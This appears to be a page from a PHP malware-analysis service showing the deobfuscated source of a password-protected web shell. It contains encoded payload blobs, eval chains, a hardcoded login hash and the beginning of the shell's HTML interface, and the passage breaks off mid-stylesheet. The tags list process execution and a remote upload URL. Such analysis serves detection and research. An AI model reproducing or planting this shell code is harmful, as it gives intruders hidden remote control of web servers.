PHP Malware Analysis

Back to list

Tags

Encoding
base64_decode
URLs
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css
https://fonts.googleapis.com/css?family=Dosis
https://fonts.googleapis.com/css?family=Bungee
https://anon7.xyz/upload.txt
Execution
proc_open
Input
_GET
_POST
Environment
set_time_limit
error_reporting
php_uname
getcwd

Deobfuscated code

<?php

$rts = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNHVrNDUlMjklMjklMjklMjklMjklMjklMjklMjklM0I=";
$uk45 = "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";
eval /* PHPDeobfuscator eval output */ {
    // TIKUNG TERUS TOT
    // LO GAPUNYA SKILL MAKANYA CUMA BISA NIKUNG
    // YAHAHAHAHA
    set_time_limit(0);
    error_reporting(0);
    $auth_pass = "98213dfdf0f6f28c385ece5f3fad0ab8";
    if (get_magic_quotes_gpc()) {
        function VEstripslashes($array)
        {
            return is_array($array) ? array_map('VEstripslashes', $array) : stripslashes($array);
        }
        $_POST = VEstripslashes($_POST);
        $_COOKIE = VEstripslashes($_COOKIE);
    }
    function Login()
    {
        die("<center><h1>ADMIN LOGIN</h1><br><form method='post'><input style='text-align:center;' type='password' name='pass'></form>");
    }
    function VEsetcookie($k, $v)
    {
        $_COOKIE[$k] = $v;
        setcookie($k, $v);
    }
    if (!empty($auth_pass)) {
        if (isset($_POST['pass']) && md5($_POST['pass']) == $auth_pass) {
            VEsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
        }
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass) {
            Login();
        }
    }
    $Cyto = "Sy1LzNFQt1dLL7FW10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JTc5PSdUoLikqSi3TUPHJrNAEAWsA";
    $Lix = "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";
    eval /* PHPDeobfuscator eval output */ {
        ?><!DOCTYPE html>
<html>
<head>
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
